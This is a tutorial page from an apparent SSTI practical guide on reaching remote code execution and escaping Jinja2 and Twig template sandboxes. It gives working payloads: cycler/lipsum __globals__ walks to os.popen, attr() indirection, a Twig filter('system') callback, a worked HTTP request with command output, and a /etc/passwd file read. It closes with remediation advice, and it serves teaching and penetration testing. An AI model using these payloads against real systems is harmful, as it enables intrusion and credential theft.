Server-Side Template Injection (SSTI): The Complete Practical Guide

SSTI to RCE and Sandbox Escape

How to turn SSTI into RCE and defeat template sandboxes: walking the object graph to an exec primitive, Jinja2/Twig sandbox escapes, and file-read fallbacks.

Published

Confirming SSTI and reaching code execution are two different things. On a bare engine the object-model walk is enough. On a sandboxed one you have to build your exploit entirely from primitives the sandbox allows. This page covers the jump to RCE and the escapes for the common sandboxes. Practice on a free live target.

From evaluation to execution

A capable engine exposes the host language's object graph, so "it computes math" and "it runs commands" are separated only by finding a reachable path from an allowed object to an execution primitive. On Jinja2 that primitive is os.popen. On Java engines it is Runtime.exec. The exploitation spokes give the direct paths. Sandboxes exist to break those paths, so the rest of this page is about getting around them.

What sandboxes block

  • Jinja2 SandboxedEnvironment denies access to attributes it considers unsafe, especially dunder attributes referenced by name like __class__ and __globals__ in dotted form.
  • Twig sandbox policy allows only an explicit list of tags, filters, and functions, blocking everything else.

Neither proves that no chain of allowed operations reaches a forbidden one, which is the escape.

Jinja2 sandbox escapes

The sandbox blocks dunder names in dotted form, so you reach them indirectly:

{# bracket lookups instead of dotted dunder names #}
{{ ''['__class__'] }}
 
{# attr() / getattr indirection, building the name so the filter cannot string-match it #}
{{ ().__class__.__base__.__subclasses__() }}
{{ cycler|attr('__init__')|attr('__globals__') }}
 
{# allowed globals that STILL expose internals #}
{{ cycler.__init__.__globals__ }}
{{ lipsum.__globals__ }}

The key insight: globals like cycler, lipsum, and request are permitted in the context yet still carry __globals__, which exposes os. The sandbox blocked the obvious door and left a window open. Build the dangerous attribute name through brackets or attr() so a name-based filter never sees the literal string.

Twig sandbox gaps

Twig's sandbox is a policy allow-list, so you hunt for an allowed primitive that does too much:

{# an allowed filter that takes a callable #}
{{ ['id']|filter('system') }}
{# an unsandboxed include or a template the policy forgot to cover #}

If filter, map, sort, or reduce is on the allow-list and accepts a callback, that callback can be a PHP execution function. The escape is finding one permitted callback-taking filter the policy did not consider dangerous.

Worked escape

A Jinja2 app running SandboxedEnvironment blocks {{''.__class__}} but allows cycler. You go through the allowed global:

POST /render HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
 
tpl={{cycler.__init__.__globals__['os'].popen('id').read()}}
HTTP/1.1 200 OK
Content-Type: text/html
 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The sandbox denied the direct class walk but the allowed cycler global exposed os anyway.

When exec is blocked: read or write files

If every execution path is denied, impact is still high through the filesystem. Read sensitive files with allowed built-ins, or write a file into a web-reachable directory and fetch it:

{# read a secret via an open() reachable through globals #}
{{ cycler.__init__.__globals__.__builtins__.open('/etc/passwd').read() }}

Arbitrary file read of config, keys, and credentials is a serious finding on its own, and leaking an application secret frequently escalates to full compromise without a shell.

Fixing it

  • Do not rely on the sandbox. The real fix is never rendering user input as a template.
  • If you must sandbox, lock the policy down hard: no callback-taking filters, no attr()/getattr, minimal globals, and review what allowed primitives can reach.
  • Keep the engine patched, since sandbox-escape bugs are fixed over time.

Full guidance is in preventing SSTI. Next, exploiting when nothing renders back in blind SSTI, or try a sandbox escape on a free lab.

← Back to Server-Side Template Injection (SSTI): The Complete Practical Guide